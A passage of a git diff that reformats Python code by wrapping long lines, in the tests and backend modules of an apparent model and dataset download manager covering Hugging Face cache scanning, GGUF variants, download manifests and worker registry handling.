test_hf_cache_scan_uses_gguf_partial_row_for_variant_state(monkeypatch, tmp_ [download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 8192)], "http", ) - assert download_manifest.write_cancel_marker("model", "Org/PartialGguf", "Q4_K_M", "http") - monkeypatch.setattr(local_inventory, "_classify_local_path", lambda *_args, **_kwargs: []) + assert download_manifest.write_cancel_marker( + "model", "Org/PartialGguf", "Q4_K_M", "http" + ) + monkeypatch.setattr( + local_inventory, "_classify_local_path", lambda *_args, **_kwargs: [] + ) monkeypatch.setattr( local_inventory.hf_cache_scan, "is_snapshot_partial", @@ -1907,12 +1988,16 @@ def test_local_inventory_filters_custom_embedder_hf_cache_row(monkeypatch, tmp_p model_id = repo_id, ) - rows = local_inventory._filter_hidden_models([_row("org/embedder"), _row("org/chat-model")]) + rows = local_inventory._filter_hidden_models( + [_row("org/embedder"), _row("org/chat-model")] + ) assert [row.model_id for row in rows] == ["org/chat-model"] -def test_local_inventory_filters_embedder_configured_by_snapshot_path(monkeypatch, tmp_path): +def test_local_inventory_filters_embedder_configured_by_snapshot_path( + monkeypatch, tmp_path +): from core.rag import config as rag_config embedder_path = tmp_path / "hub" / "models--org--embedder" @@ -1929,7 +2014,9 @@ def test_local_inventory_filters_embedder_configured_by_snapshot_path(monkeypatc monkeypatch.setattr( local_inventory.hf_cache_scan, "resolve_hf_cache_realpath", - lambda path: str(embedder_snapshot) if Path(path) == embedder_path else str(path), + lambda path: str(embedder_snapshot) + if Path(path) == embedder_path + else str(path), ) def _row(repo_id: str, repo_path: Path): @@ -1957,7 +2044,9 @@ def test_model_download_job_helpers_preserve_idle_shape(): assert status.error is None -def test_gguf_repo_partial_treats_completed_disk_variant_as_clean(monkeypatch, tmp_path): +def test_gguf_repo_partial_treats_completed_disk_variant_as_clean( + monkeypatch, tmp_path +): monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state") snapshot = tmp_path / "cache" / "models--Org--Repo" / "snapshots" / "abc" snapshot.mkdir(parents = True) @@ -2059,7 +2148,9 @@ def test_variant_partial_accepts_variant_filtered_legacy_hashes(monkeypatch, tmp ) -def test_variant_partial_accepts_completed_variant_in_non_latest_snapshot(monkeypatch, tmp_path): +def test_variant_partial_accepts_completed_variant_in_non_latest_snapshot( + monkeypatch, tmp_path +): """A verified GGUF update can prune an older snapshot and make that old directory the newest by mtime. The variant is still complete when another snapshot satisfies its manifest.""" @@ -2087,13 +2178,17 @@ def test_variant_partial_accepts_completed_variant_in_non_latest_snapshot(monkey ) -def test_gguf_variants_partial_marker_overrides_size_only_downloaded(monkeypatch, tmp_path): +def test_gguf_variants_partial_marker_overrides_size_only_downloaded( + monkeypatch, tmp_path +): async def _run_inline(fn, *args, **kwargs): return fn(*args, **kwargs) monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state") monkeypatch.setattr(gguf_variants.asyncio, "to_thread", _run_inline) - assert download_manifest.write_cancel_marker("model", "Org/PartialRepo", "Q4_K_M", "http") + assert download_manifest.write_cancel_marker( + "model", "Org/PartialRepo", "Q4_K_M", "http" + ) snapshot = tmp_path / "cache" / "models--Org--PartialRepo" / "snapshots" / "rev0" snapshot.mkdir(parents = True) (snapshot / "model-Q4_K_M.gguf").write_bytes(b"x" * 100) @@ -2423,7 +2518,9 @@ def test_finalize_worker_exit_never_kills_a_healthy_worker(monkeypatch, tmp_path ) -def test_prepare_cache_for_transport_purges_only_requested_hashes(monkeypatch, tmp_path): +def test_prepare_cache_for_transport_purges_only_requested_hashes( + monkeypatch, tmp_path +): root = tmp_path / "hub" blobs = root / "models--Org--Repo" / "blobs" blobs.mkdir(parents = True) @@ -2452,7 +2549,9 @@ def _vision_cache_root(monkeypatch, tmp_path): return blobs -def test_prepare_cache_for_transport_purges_cross_transport_companion(monkeypatch, tmp_path): +def test_prepare_cache_for_transport_purges_cross_transport_companion( + monkeypatch, tmp_path +): blobs = _vision_cache_root(monkeypatch, tmp_path) companion = frozenset({"shared-mmproj"}) @@ -2482,7 +2581,9 @@ def test_prepare_cache_for_transport_purges_cross_transport_companion(monkeypatc assert not (blobs / "shared-mmproj.incomplete").exists() -def test_prepare_cache_for_transport_preserves_same_transport_companion(monkeypatch, tmp_path): +def test_prepare_cache_for_transport_preserves_same_transport_companion( + monkeypatch, tmp_path +): blobs = _vision_cache_root(monkeypatch, tmp_path) companion = frozenset({"shared-mmproj"}) @@ -2537,7 +2638,9 @@ def test_prepare_cache_for_transport_protects_peer_companion(monkeypatch, tmp_pa assert (blobs / "shared-mmproj.incomplete").exists() -def test_model_download_records_completed_baseline_for_new_gguf_variant(monkeypatch, tmp_path): +def test_model_download_records_completed_baseline_for_new_gguf_variant( + monkeypatch, tmp_path +): async def _run_inline(fn, *args, **kwargs): return fn(*args, **kwargs) @@ -2552,7 +2655,9 @@ def test_model_download_records_completed_baseline_for_new_gguf_variant(monkeypa downloads.gguf_variants, "gguf_variant_blob_hashes", lambda _repo, _variant, _token = None, include_companions = True, **_kwargs: ( - frozenset({"mainhash", "mmprojhash"}) if include_companions else frozenset({"mainhash"}) + frozenset({"mainhash", "mmprojhash"}) + if include_companions + else frozenset({"mainhash"}) ), ) monkeypatch.setattr( @@ -2595,7 +2700,9 @@ def test_model_download_records_completed_baseline_for_new_gguf_variant(monkeypa registry = _Registry() monkeypatch.setattr(downloads, "_registry", registry) - monkeypatch.setattr(downloads, "_spawn_download_worker", lambda *_args, **_kwargs: _Proc()) + monkeypatch.setattr( + downloads, "_spawn_download_worker", lambda *_args, **_kwargs: _Proc() + ) asyncio.run( downloads.download_model_response( @@ -2604,7 +2711,9 @@ def test_model_download_records_completed_baseline_for_new_gguf_variant(monkeypa ) assert registry.claim_kwargs["blob_hashes"] == frozenset({"mainhash"}) - assert registry.claim_kwargs["progress_blob_hashes"] == frozenset({"mainhash", "mmprojhash"}) + assert registry.claim_kwargs["progress_blob_hashes"] == frozenset( + {"mainhash", "mmprojhash"} + ) assert registry.claim_kwargs["completed_baseline_bytes"] == 30 @@ -2638,7 +2747,9 @@ def test_gguf_model_download_skips_completed_baseline_for_variant_resume_state( downloads.gguf_variants, "gguf_variant_blob_hashes", lambda _repo, _variant, _token = None, include_companions = True, **_kwargs: ( - frozenset({"mainhash", "mmprojhash"}) if include_companions else frozenset({"mainhash"}) + frozenset({"mainhash", "mmprojhash"}) + if include_companions + else frozenset({"mainhash"}) ), ) monkeypatch.setattr( @@ -2681,7 +2792,9 @@ def test_gguf_model_download_skips_completed_baseline_for_variant_resume_state( registry = _Registry() monkeypatch.setattr(downloads, "_registry", registry) - monkeypatch.setattr(downloads, "_spawn_download_worker", lambda *_args, **_kwargs: _Proc()) + monkeypatch.setattr( + downloads, "_spawn_download_worker", lambda *_args, **_kwargs: _Proc() + ) asyncio.run( downloads.download_model_response( @@ -2695,7 +2808,9 @@ def test_gguf_model_download_skips_completed_baseline_for_variant_resume_state( def test_model_idle_status_uses_cancel_marker_after_restart(monkeypatch, tmp_path): monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path) monkeypatch.setattr(downloads, "_registry", download_registry.DownloadRegistry()) - assert download_manifest.write_cancel_marker("model", "Owner/Repo", "Q4_K_M", "http") + assert download_manifest.write_cancel_marker( + "model", "Owner/Repo", "Q4_K_M", "http" + ) status = asyncio.run(downloads.get_download_status_response("owner/repo", "Q4_K_M")) @@ -2947,7 +3062,9 @@ def test_model_download_watcher_invalidates_hf_cache_scan(monkeypatch): "_spawn_download_worker", lambda *_args, **_kwargs: object(), ) - monkeypatch.setattr(downloads.download_lifecycle.threading, "Thread", _ImmediateThread) + monkeypatch.setattr( + downloads.download_lifecycle.threading, "Thread", _ImmediateThread + ) monkeypatch.setattr( downloads.hf_cache_scan, "invalidate_hf_cache_scans", @@ -3054,7 +3171,10 @@ def test_two_concurrent_same_repo_variants_both_complete(monkeypatch, tmp_path): while time.monotonic() < deadline: s4 = registry.get_job(key_q4).state s8 = registry.get_job(key_q8).state - if s4 in download_registry.TERMINAL_STATES and s8 in download_registry.TERMINAL_STATES: + if ( + s4 in download_registry.TERMINAL_STATES + and s8 in download_registry.TERMINAL_STATES + ): break time.sleep(0.02) @@ -3170,7 +3290,9 @@ def test_snapshot_progress_filters_stale_blobs(monkeypatch, tmp_path): assert result["expected_bytes"] == 140 -def test_snapshot_progress_confirms_complete_only_with_verified_snapshot(monkeypatch, tmp_path): +def test_snapshot_progress_confirms_complete_only_with_verified_snapshot( + monkeypatch, tmp_path +): entry = tmp_path / "models--Org--Model" blobs = entry / "blobs" snap = entry / "snapshots" / "rev0" @@ -3233,7 +3355,9 @@ def test_expected_files_from_snapshot_dir_records_relative_paths_and_sizes(tmp_p assert all(f.sha256 is None for f in files) -def test_snapshot_progress_complete_with_manifest_synthesized_from_disk(monkeypatch, tmp_path): +def test_snapshot_progress_complete_with_manifest_synthesized_from_disk( + monkeypatch, tmp_path +): """A finished snapshot whose only manifest was synthesized from on-disk files still verifies as complete, so a refresh finalizes it instead of capping at 99% and evicting it as gone.""" @@ -3390,7 +3514,9 @@ def test_download_snapshot_writes_manifest_for_xet(monkeypatch, tmp_path): ), ) monkeypatch.setattr( - hf_download, "_verify_completed_download", lambda *args, **kwargs: verified.append(args) + hf_download, + "_verify_completed_download", + lambda *args, **kwargs: verified.append(args), ) monkeypatch.setattr( download_registry, "prepare_cache_for_transport", lambda *_args, **_kwargs: 0 @@ -3425,7 +3551,9 @@ def test_download_gguf_variant_writes_manifest_for_xet(monkeypatch, tmp_path): ), ) monkeypatch.setattr( - hf_download, "_verify_completed_download", lambda *args, **kwargs: verified.append(args) + hf_download, + "_verify_completed_download", + lambda *args, **kwargs: verified.append(args), ) monkeypatch.setattr( download_registry, "prepare_cache_for_transport", lambda *_args, **_kwargs: 0 @@ -3460,7 +3588,9 @@ def test_download_dataset_writes_manifest_for_xet(monkeypatch, tmp_path): ), ) monkeypatch.setattr( - hf_download, "_verify_completed_download", lambda *args, **kwargs: verified.append(args) + hf_download, + "_verify_completed_download", + lambda *args, **kwargs: verified.append(args), ) monkeypatch.setattr( download_registry, "prepare_cache_for_transport", lambda *_args, **_kwargs: 0 @@ -3498,7 +3628,9 @@ def test_dataset_status_includes_generation(monkeypatch): lambda repo_id, **_kwargs: repo_id, ) - result = asyncio.run(dataset_downloads.get_dataset_download_status_response("Org/Data")) + result = asyncio.run( + dataset_downloads.get_dataset_download_status_response("Org/Data") + ) assert result.state == "running" assert result.generation == 4 diff --git a/studio/backend/hub/utils/dataset_cache.py b/studio/backend/hub/utils/dataset_cache.py index 1a7a90d8a5..4ac737fe76 100644 --- a/studio/backend/hub/utils/dataset_cache.py +++ b/studio/backend/hub/utils/dataset_cache.py @@ -50,7 +50,9 @@ def _matches_label(snapshot: Path, path: Path, label: str) -> bool: return label in rel -def dataset_snapshot_from_cache_path(local_path: Optional[str], repo_id: str) -> Optional[Path]: +def dataset_snapshot_from_cache_path( + local_path: Optional[str], repo_id: str +) -> Optional[Path]: if not local_path or not repo_id: return None try: @@ -115,7 +117,9 @@ def cached_dataset_candidates( ) -> list[Path]: try: files = [ - p for p in snapshot.rglob("*") if p.is_file() and p.name.lower().endswith(extensions) + p + for p in snapshot.rglob("*") + if p.is_file() and p.name.lower().endswith(extensions) ] except OSError: return [] @@ -127,7 +131,9 @@ def cached_dataset_candidates( def score(path: Path) -> tuple[int, int, str]: rel = _rel_lower(snapshot, path) - subset_match = bool(subset_lower and _matches_label(snapshot, path, subset_lower)) + subset_match = bool( + subset_lower and _matches_label(snapshot, path, subset_lower) + ) split_match = bool(split_lower and split_label_matches(rel, split_lower)) location_rank = 3 if split_match and (not subset_lower or subset_match): diff --git a/studio/backend/hub/utils/dataset_format.py b/studio/backend/hub/utils/dataset_format.py index df02035365..db57bd202d 100644 --- a/studio/backend/hub/utils/dataset_format.py +++ b/studio/backend/hub/utils/dataset_format.py @@ -23,7 +23,10 @@ def _column_names(dataset, sample: Optional[dict] = None) -> list[str]: def _keyword_in_column(keyword: str, col_name: str) -> bool: - return re.search(r"\b" + re.escape(keyword) + r"\b", col_name, re.IGNORECASE) is not None + return ( + re.search(r"\b" + re.escape(keyword) + r"\b", col_name, re.IGNORECASE) + is not None + ) def _unknown_dataset_format( @@ -165,14 +168,19 @@ def detect_custom_format_heuristic(dataset): def has_keyword(col_name, keywords): col_lower = col_name.lower() col_normalized = col_lower.replace("_", "").replace("-", "").replace(" ", "") - return any(keyword in col_lower or keyword in col_normalized for keyword in keywords) + return any( + keyword in col_lower or keyword in col_normalized for keyword in keywords + ) def is_metadata(col_name): col_lower = col_name.lower() if col_lower in metadata_exact_match or col_lower in metadata_prefix_patterns: return True for pattern in metadata_prefix_patterns: - if col_lower.startswith(pattern.split("_")[0] + "_") and col_lower != pattern: + if ( + col_lower.startswith(pattern.split("_")[0] + "_") + and col_lower != pattern + ): if "_" in col_lower: prefix = col_lower.split("_")[0] if prefix in ["generation", "pass", "inference"]: @@ -181,7 +189,11 @@ def detect_custom_format_heuristic(dataset): def get_priority_score(col_name): col_lower = col_name.lower() - return sum(score for pattern, score in priority_patterns.items() if pattern in col_lower) + return sum( + score + for pattern, score in priority_patterns.items() + if pattern in col_lower + ) def get_content_length(col_name): try: @@ -195,7 +207,9 @@ def detect_custom_format_heuristic(dataset): score = 10 if role_type == "user": col_lower = col_name.lower() - if "task" in col_lower and not any(kw in col_lower for kw in user_words_high_priority): + if "task" in col_lower and not any( + kw in col_lower for kw in user_words_high_priority + ): score -= 15 score += get_priority_score(col_name) if role_type in ["assistant", "user"]: @@ -219,12 +233,19 @@ def detect_custom_format_heuristic(dataset): return score content_columns = [col for col in all_columns if not is_metadata(col)] - assistant_potential = [col for col in content_columns if has_keyword(col, assistant_words)] + assistant_potential = [ + col for col in content_columns if has_keyword(col, assistant_words) + ] user_potential = [col for col in content_columns if has_keyword(col, user_words)] assistant_candidates = [ (col, score) for col in assistant_potential - if (score := score_column(col, assistant_words, "assistant", len(assistant_potential))) > 0 + if ( + score := score_column( + col, assistant_words, "assistant", len(assistant_potential) + ) + ) + > 0 ] if assistant_candidates: assistant_candidates.sort(key = lambda item: item[1], reverse = True) @@ -399,7 +420,9 @@ def detect_multimodal_dataset(dataset): audio_columns.append(col_name) modality_types.add("audio") if audio_columns: - multimodal_columns = [col for col in multimodal_columns if col not in set(audio_columns)] + multimodal_columns = [ + col for col in multimodal_columns if col not in set(audio_columns) + ] detected_text_col = None if audio_columns: @@ -454,7 +477,9 @@ def detect_vlm_dataset_structure(dataset): and isinstance(content[0], dict) and "type" in content[0] ): - has_index = any("index" in item for item in content if isinstance(item, dict)) + has_index = any( + "index" in item for item in content if isinstance(item, dict) + ) if has_index and "images" in column_names: return { "format": "vlm_messages_llava", @@ -463,7 +488,9 @@ def detect_vlm_dataset_structure(dataset): "image_column": "images", "text_column": None, } - has_image = any("image" in item for item in content if isinstance(item, dict)) + has_image = any( + "image" in item for item in content if isinstance(item, dict) + ) if has_image: return { "format": "vlm_messages", @@ -555,9 +582,9 @@ def detect_vlm_dataset_structure(dataset): image_candidates = [] for col in column_names: value = sample[col] - if any(_keyword_in_column(keyword, col) for keyword in image_keywords) or _is_image_value( - value - ): + if any( + _keyword_in_column(keyword, col) for keyword in image_keywords + ) or _is_image_value(value): if hasattr(value, "size") and hasattr(value, "mode"): score = 100 elif isinstance(value, dict) and ("bytes" in value or "path" in value): @@ -726,7 +753,9 @@ def _standardize_sharegpt_row(row: dict[str, Any], chat_column: str) -> dict[str if not isinstance(message, dict): continue role = message.get("role") or message.get("from") - content = message.get("content") if "content" in message else message.get("value") + content = ( + message.get("content") if "content" in message else message.get("value") + ) messages.append( { "role": _ROLE_MAP.get(str(role), str(role or "user")), diff --git a/studio/backend/hub/utils/download_manifest.py b/studio/backend/hub/utils/download_manifest.py index 5366689296..7db83ab3f8 100644 --- a/studio/backend/hub/utils/download_manifest.py +++ b/studio/backend/hub/utils/download_manifest.py @@ -59,7 +59,9 @@ _LEGACY_MARKER_VERSION = 1 # Verbatim phrase the worker emits on a degraded completion and the download # lifecycle escalates to a warning log. Shared so the emit and match stay coupled. -MANIFEST_DEGRADED_MARKER = "completed without a manifest so partial detection is degraded" +MANIFEST_DEGRADED_MARKER = ( + "completed without a manifest so partial detection is degraded" +) @dataclass(frozen = True) @@ -473,14 +475,18 @@ def _iter_variant_state_files( yield _variant_from_state_file(entry, variant), entry -def iter_variant_manifests(repo_type: RepoType, repo_id: str) -> Iterator[tuple[str, Path]]: +def iter_variant_manifests( + repo_type: RepoType, repo_id: str +) -> Iterator[tuple[str, Path]]: """Yield (variant, manifest_path) for every variant-keyed manifest written for this repo. Used by is_gguf_repo_partial to enumerate all variants present on disk so the all-variants-broken gate can run.""" yield from _iter_variant_state_files(manifests_dir(), repo_type, repo_id) -def iter_variant_markers(repo_type: RepoType, repo_id: str) -> Iterator[tuple[str, Path]]: +def iter_variant_markers( + repo_type: RepoType, repo_id: str +) -> Iterator[tuple[str, Path]]: """Yield (variant, marker_path) for every variant-keyed cancel marker. Companion to iter_variant_manifests: catches variants cancelled before download-start ever wrote a manifest (very early failures).""" diff --git a/studio/backend/hub/utils/download_registry.py b/studio/backend/hub/utils/download_registry.py index b6bdee3bce..98c0be1c31 100644 --- a/studio/backend/hub/utils/download_registry.py +++ b/studio/backend/hub/utils/download_registry.py @@ -113,7 +113,9 @@ def _worker_breadcrumb_path(key: str) -> Optional[Path]: return parent / f"{safe}.json" -def write_worker_breadcrumb(key: str, pid: int, metadata: Optional["DownloadMetadata"]) -> None: +def write_worker_breadcrumb( + key: str, pid: int, metadata: Optional["DownloadMetadata"] +) -> None: """Record a live worker's PID so a restarted backend can reap it. Best effort: a write failure only forfeits boot-time reaping for this worker, still covered by the worker's own parent-death watchdog.""" @@ -369,7 +371,9 @@ def _iter_active_snapshot_dirs(repo_type: str, repo_id: str) -> Iterator[Path]: yield snapshot -def _manifest_verifies_against_active_cache(repo_type: str, repo_id: str, manifest) -> bool: +def _manifest_verifies_against_active_cache( + repo_type: str, repo_id: str, manifest +) -> bool: from hub.utils import download_manifest for snapshot_dir in _iter_active_snapshot_dirs(repo_type, repo_id): if download_manifest.verify_against_disk(manifest, snapshot_dir).ok: @@ -377,7 +381,9 @@ def _manifest_verifies_against_active_cache(repo_type: str, repo_id: str, manife return False -def _manifest_has_active_incomplete_blobs(repo_type: str, repo_id: str, manifest) -> bool: +def _manifest_has_active_incomplete_blobs( + repo_type: str, repo_id: str, manifest +) -> bool: if not getattr(manifest, "variant", None): return has_active_incomplete_blobs(repo_type, repo_id) expected_hashes = frozenset( @@ -386,7 +392,9 @@ def _manifest_has_active_incomplete_blobs(repo_type: str, repo_id: str, manifest if not expected_hashes: return has_active_incomplete_blobs(repo_type, repo_id) return bool( - incomplete_blob_hashes(repo_type, repo_id, active_only = True).intersection(expected_hashes) + incomplete_blob_hashes(repo_type, repo_id, active_only = True).intersection( + expected_hashes + ) ) @@ -401,7 +409,9 @@ def _is_transport_marker_file(path: Path) -> bool: # Matches ".transport", its tmps, and variant-scoped ".transport.gguf-*". # Real HF cache entries (blobs/refs/snapshots/.no_exist) never start with # ".transport.". - return path.name == TRANSPORT_MARKER_NAME or path.name.startswith(f"{TRANSPORT_MARKER_NAME}.") + return path.name == TRANSPORT_MARKER_NAME or path.name.startswith( + f"{TRANSPORT_MARKER_NAME}." + ) def _companion_marker_path(entry: Path) -> Path: @@ -519,9 +529,13 @@ def prepare_cache_for_transport( total_purged += _purge_incomplete_blobs(entry, only_blob_hashes, protected) else: if _read_marker(entry, variant) != mode: - total_purged += _purge_incomplete_blobs(entry, only_blob_hashes, protected) + total_purged += _purge_incomplete_blobs( + entry, only_blob_hashes, protected + ) if companion_blob_hashes and _read_companion_marker(entry) != mode: - total_purged += _purge_incomplete_blobs(entry, companion_blob_hashes, protected) + total_purged += _purge_incomplete_blobs( + entry, companion_blob_hashes, protected + ) _write_marker(entry, mode, variant) if has_companion: _write_companion_marker(entry, mode) @@ -565,7 +579,9 @@ def purge_empty_marker_dir( contents = list(entry.iterdir()) except OSError: continue - if not contents or not all(_is_transport_marker_file(item) for item in contents): + if not contents or not all( + _is_transport_marker_file(item) for item in contents + ): continue own_name = _marker_path(entry, variant).name own_markers = [ @@ -638,7 +654,9 @@ def incomplete_blob_hashes( return out -def completed_blob_bytes(repo_type: str, repo_id: str, blob_hashes: frozenset[str]) -> int: +def completed_blob_bytes( + repo_type: str, repo_id: str, blob_hashes: frozenset[str] +) -> int: """Sum finalized blob bytes for *blob_hashes* in the active HF cache root. A worker only writes to the active ``HF_HUB_CACHE`` root, so a baseline must @@ -661,7 +679,9 @@ def completed_blob_bytes(repo_type: str, repo_id: str, blob_hashes: frozenset[st return total -def existing_blob_bytes(repo_type: str, repo_id: str, blob_hashes: frozenset[str]) -> int: +def existing_blob_bytes( + repo_type: str, repo_id: str, blob_hashes: frozenset[str] +) -> int: """Bytes already on disk (finalized + ``.incomplete``) for *blob_hashes* in the active HF cache root. A blob is in exactly one state, so summing both candidate names never double-counts. Used to size what a (possibly resumed) @@ -864,7 +884,8 @@ class DownloadRegistry: pending_generation = self._pending_cancel.get(key) metadata = self._metadata.get(key) should_cancel = current == "cancelling" or ( - has_pending_cancel and self._generation_matches_locked(key, pending_generation) + has_pending_cancel + and self._generation_matches_locked(key, pending_generation) ) terminal_state: JobState = "cancelled" if should_cancel else "error" marker_transport = self._cancel_marker_transports.pop(key, None) @@ -1098,7 +1119,9 @@ class DownloadRegistry: repo_type = repo_type, repo_id = repo_id, variant = variant, - transport = metadata_transport if metadata_transport is not None else transport, + transport = metadata_transport + if metadata_transport is not None + else transport, cancel_marker_transport = cancel_marker_transport, blob_hashes = requested_hashes, progress_blob_hashes = requested_progress_hashes, @@ -1132,7 +1155,9 @@ class DownloadRegistry: return (metadata.variant or "").strip().lower() or None return variant_from_key(key) - def _delete_blocked_by_active_locked(self, repo_id: str, variant: Optional[str]) -> bool: + def _delete_blocked_by_active_locked( + self, repo_id: str, variant: Optional[str] + ) -> bool: """Whether an active download conflicts with deleting *repo_id*/*variant*. A whole-repo delete (``variant is None``) conflicts with any active @@ -1204,7 +1229,9 @@ class DownloadRegistry: if repo_key: candidate_keys = list(self._repo_active.get(repo_key, set())) else: - candidate_keys = [key for active in self._repo_active.values() for key in active] + candidate_keys = [ + key for active in self._repo_active.values() for key in active + ] # An XET->HTTP retry handoff briefly drops its key from _repo_active # while its job stays active; include those released-but-active jobs # so the waiting retry still lists and can be adopted or cancelled. @@ -1409,7 +1436,9 @@ class DownloadRegistry: try: proc.wait(timeout = max(0.0, deadline - time.monotonic())) except subprocess.TimeoutExpired: - logger.warning(f"shutdown: {kind} worker for {key} did not exit after kill") + logger.warning( + f"shutdown: {kind} worker for {key} did not exit after kill" + ) except Exception: pass # Mark only genuinely interrupted workers (rc != 0, or None on wait diff --git a/studio/backend/hub/utils/gguf.py b/studio/backend/hub/utils/gguf.py index 2e3de125f1..104ae91cd5 100644 --- a/studio/backend/hub/utils/gguf.py +++ b/studio/backend/hub/utils/gguf.py @@ -303,7 +303,9 @@ def list_empty_gguf_variant_dirs(repo_id: str) -> set[str]: return {label for key, label in empty.items() if key not in nonempty} -def list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]: +def list_gguf_variants_from_hf_cache( + repo_id: str, +) -> Optional[tuple[list[GgufVariantInfo], bool]]: for snapshot in iter_hf_cache_snapshots(repo_id): variants, has_vision = list_local_gguf_variants(str(snapshot)) if variants or has_vision: @@ -445,7 +447,9 @@ def list_gguf_variants( quant = extract_quant_label(filename) if is_big_endian_gguf_path(filename, quant): continue - quant_totals[quant] = quant_totals.get(quant, 0) + int(getattr(sibling, "size", 0) or 0) + quant_totals[quant] = quant_totals.get(quant, 0) + int( + getattr(sibling, "size", 0) or 0 + ) quant_first_file.setdefault(quant, filename) for quant, total_size in quant_totals.items(): diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py index 18daa4f84e..5bbe9d175f 100644 --- a/studio/backend/hub/utils/gguf_plan.py +++ b/studio/backend/hub/utils/gguf_plan.py @@ -64,7 +64,9 @@ def expected_file_from_sibling(sibling) -> Optional[ExpectedFile]: def is_companion_gguf_path(path: str) -> bool: """Companion (non-main) GGUF downloaded alongside a variant: the vision mmproj or the separate MTP drafter (Gemma 4).""" - return is_gguf_filename(path) and (is_mmproj_filename(path) or is_mtp_drafter_path(path)) + return is_gguf_filename(path) and ( + is_mmproj_filename(path) or is_mtp_drafter_path(path) + ) def is_main_gguf_variant_path(path: str, variant: str) -> bool: @@ -86,7 +88,9 @@ def _gguf_rfilename(sibling) -> Optional[str]: def mmproj_siblings(siblings: Sequence) -> list: - return [s for s in siblings if (name := _gguf_rfilename(s)) and is_mmproj_filename(name)] + return [ + s for s in siblings if (name := _gguf_rfilename(s)) and is_mmproj_filename(name) + ] def preferred_mmproj_sibling(siblings: Sequence) -> Optional[object]: @@ -94,7 +98,11 @@ def preferred_mmproj_sibling(siblings: Sequence) -> Optional[object]: if not candidates: return None return next( - (s for s in candidates if extract_quant_label(getattr(s, "rfilename")).upper() == "F16"), + ( + s + for s in candidates + if extract_quant_label(getattr(s, "rfilename")).upper() == "F16" + ), candidates[0], ) @@ -112,7 +120,9 @@ def preferred_mtp_sibling(siblings: Sequence) -> Optional[object]: ( s for s in siblings - if (name := _gguf_rfilename(s)) and "/" not in name and name.lower().startswith("mtp-") + if (name := _gguf_rfilename(s)) + and "/" not in name + and name.lower().startswith("mtp-") ), key = lambda s: getattr(s, "rfilename"), ) @@ -127,11 +137,17 @@ def build_gguf_variant_plans(siblings: Sequence) -> dict[str, GgufVariantPlan]: for s in all_mmproj if isinstance(getattr(s, "rfilename", None), str) ) - all_mmproj_hashes = frozenset(h for h in (sibling_sha256(s) for s in all_mmproj) if h) + all_mmproj_hashes = frozenset( + h for h in (sibling_sha256(s) for s in all_mmproj) if h + ) companion = preferred_mmproj_sibling(siblings) - companion_expected = expected_file_from_sibling(companion) if companion is not None else None + companion_expected = ( + expected_file_from_sibling(companion) if companion is not None else None + ) mtp_sibling = preferred_mtp_sibling(siblings) - mtp_expected = expected_file_from_sibling(mtp_sibling) if mtp_sibling is not None else None + mtp_expected = ( + expected_file_from_sibling(mtp_sibling) if mtp_sibling is not None else None + ) companions_expected = tuple( file for file in (companion_expected, mtp_expected) if file is not None ) @@ -175,11 +191,17 @@ def plan_from_expected_files( all_mmproj_hashes: frozenset[str] | None = None, ) -> GgufVariantPlan: expected = tuple(expected_files) - main_files = tuple(file for file in expected if is_main_gguf_variant_path(file.path, variant)) - companion_files = tuple(file for file in expected if is_companion_gguf_path(file.path)) + main_files = tuple( + file for file in expected if is_main_gguf_variant_path(file.path, variant) + ) + companion_files = tuple( + file for file in expected if is_companion_gguf_path(file.path) + ) # Manifest-resume fallback for the mmproj fields below: companion_files # also holds the MTP drafter, so keep an mmproj-only view. - mmproj_files = tuple(file for file in companion_files if is_mmproj_filename(file.path)) + mmproj_files = tuple( + file for file in companion_files if is_mmproj_filename(file.path) + ) main_hashes = frozenset(file.sha256 for file in main_files if file.sha256) companion_hashes = frozenset(file.sha256 for file in companion_files if file.sha256) required_hashes = frozenset(file.sha256 for file in expected if file.sha256) diff --git a/studio/backend/hub/utils/hf_cache_state.py b/studio/backend/hub/utils/hf_cache_state.py index 22c948b683..e47b912933 100644 --- a/studio/backend/hub/utils/hf_cache_state.py +++ b/studio/backend/hub/utils/hf_cache_state.py @@ -76,7 +76,9 @@ def repo_cache_dir_name(repo_type: str, repo_id: str) -> str: return f"{repo_type}s--{repo_id.replace('/', '--')}" -def resolve_destructive_case_matches(target: str, candidates: Iterable[str]) -> Optional[set[str]]: +def resolve_destructive_case_matches( + target: str, candidates: Iterable[str] +) -> Optional[set[str]]: values = list(candidates) exact = {candidate for candidate in values if candidate == target} if exact: @@ -186,7 +188,9 @@ def iter_destructive_repo_cache_dirs(repo_type: str, repo_id: str) -> Iterator[P folded_target = target.lower() for root in hf_cache_roots(): try: - entries = [entry for entry in root.iterdir() if entry.name.lower() == folded_target] + entries = [ + entry for entry in root.iterdir() if entry.name.lower() == folded_target + ] except OSError: continue matched_names = resolve_destructive_case_matches( diff --git a/studio/backend/hub/utils/inventory_scan.py b/studio/backend/hub/utils/inventory_scan.py index 57ad7f6655..76923b5dc2 100644 --- a/studio/backend/hub/utils/inventory_scan.py +++ b/studio/backend/hub/utils/inventory_scan.py @@ -346,7 +346,11 @@ def _completed_gguf_variants(snapshot_dir: Optional[Path]) -> set[str]: except OSError: continue rel = path.relative_to(snapshot_dir).as_posix() - if not is_gguf_filename(rel) or is_mmproj_filename(rel) or is_mtp_drafter_path(rel): + if ( + not is_gguf_filename(rel) + or is_mmproj_filename(rel) + or is_mtp_drafter_path(rel) + ): continue quant = extract_quant_label(rel) split = _GGUF_SPLIT_RE.search(path.name) @@ -455,7 +459,8 @@ def is_snapshot_partial( state_applies = _state_applies_to_repo_cache_dir(repo_cache_dir) return _compose_partial( - lambda: state_applies and download_manifest.has_cancel_marker(repo_type, repo_id, None), + lambda: state_applies + and download_manifest.has_cancel_marker(repo_type, repo_id, None), lambda: _snapshot_legacy_partial(repo_type, repo_id, repo_cache_dir), lambda: _manifest_partial( repo_type, @@ -487,7 +492,8 @@ def is_variant_partial( state_applies = _state_applies_to_repo_cache_dir(repo_cache_dir) return _compose_partial( - lambda: state_applies and download_manifest.has_cancel_marker("model", repo_id, variant), + lambda: state_applies + and download_manifest.has_cancel_marker("model", repo_id, variant), lambda: bool( incomplete_blob_hashes and variant_blob_hashes diff --git a/studio/backend/hub/utils/llm_assist.py b/studio/backend/hub/utils/llm_assist.py index 